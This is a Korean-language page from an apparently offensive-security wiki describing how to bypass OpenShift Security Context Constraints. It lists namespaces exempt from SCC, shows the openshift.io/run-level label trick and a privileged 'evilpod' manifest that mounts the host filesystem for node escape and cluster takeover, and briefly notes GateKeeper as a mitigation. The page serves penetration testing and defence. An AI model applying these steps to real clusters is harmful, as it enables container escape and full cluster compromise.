OpenShift - SCC bypass

이 페이지의 원 저자는 Guillaume

특권 네임스페이스

기본적으로 SCC는 다음 프로젝트에 적용되지 않습니다:

  • default

  • kube-system

  • kube-public

  • openshift-node

  • openshift-infra

  • openshift

이러한 네임스페이스 중 하나에 파드를 배포하면 SCC가 적용되지 않아 특권이 있는 파드를 배포하거나 호스트 파일 시스템을 마운트할 수 있습니다.

네임스페이스 레이블

RedHat 문서에 따르면 파드에서 SCC 적용을 비활성화하는 방법이 있습니다. 다음 권한 중 하나 이상이 있어야 합니다:

  • 네임스페이스 생성 및 해당 네임스페이스에 파드 생성

  • 네임스페이스 편집 및 해당 네임스페이스에 파드 생성

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

특정 레이블 openshift.io/run-level은 사용자가 응용 프로그램의 SCC를 우회할 수 있도록 합니다. RedHat 문서에 따르면, 이 레이블을 사용하면 해당 네임스페이스 내의 모든 팟에 대해 SCC가 적용되지 않으므로 제한 사항이 제거됩니다.

레이블 추가

네임스페이스에 레이블을 추가하려면:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

다음은 YAML 파일을 통해 레이블이 지정된 네임스페이스를 생성하는 방법입니다:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

지금, 네임스페이스에 생성된 모든 새로운 파드는 어떤 SCC도 가지지 않아야 합니다

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

SCC가 없으면 파드 정의에 제한이 없습니다. 이는 악의적인 파드가 호스트 시스템으로 쉽게 이탈될 수 있다는 것을 의미합니다.

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

이제 호스트 시스템에 액세스 권한을 승격하여 전체 클러스터를 인수하고 'cluster-admin' 권한을 얻는 것이 더 쉬워졌습니다. 다음 페이지에서 Node-Post Exploitation 부분을 찾아보세요 :

Attacking Kubernetes from inside a Pod

사용자 정의 레이블

또한 대상 설정에 따라 이전 공격 시나리오와 동일한 방식으로 일부 사용자 정의 레이블 / 주석이 사용될 수 있습니다. 레이블이 특정 리소스에 대한 권한을 부여하거나 제한하거나 제한하지 않도록 사용될 수 있습니다.

일부 리소스를 읽을 수 있다면 사용자 정의 레이블을 찾아보세요. 여기에 흥미로운 리소스 목록이 있습니다 :

  • Pod

  • Deployment

  • Namespace

  • Service

  • Route

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

모든 특권 있는 네임스페이스 나열

$ oc get project -o yaml | grep 'run-level' -b5

고급 exploit

OpenShift에서는 이전에 시연한 대로 openshift.io/run-level 레이블이 있는 네임스페이스에 pod를 배포할 수 있는 권한이 있다면 클러스터를 쉽게 탈취할 수 있습니다. 클러스터 설정 관점에서 이 기능은 OpenShift의 설계에 내재되어 있기 때문에 비활성화할 수 없습니다.

그러나 Open Policy Agent GateKeeper와 같은 완화 조치를 통해 사용자가 이 레이블을 설정하는 것을 방지할 수 있습니다.

GateKeeper의 규칙을 우회하고 이 레이블을 설정하여 클러스터 탈취를 실행하려면 공격자는 대안적인 방법을 식별해야 합니다.

참고 자료

Last updated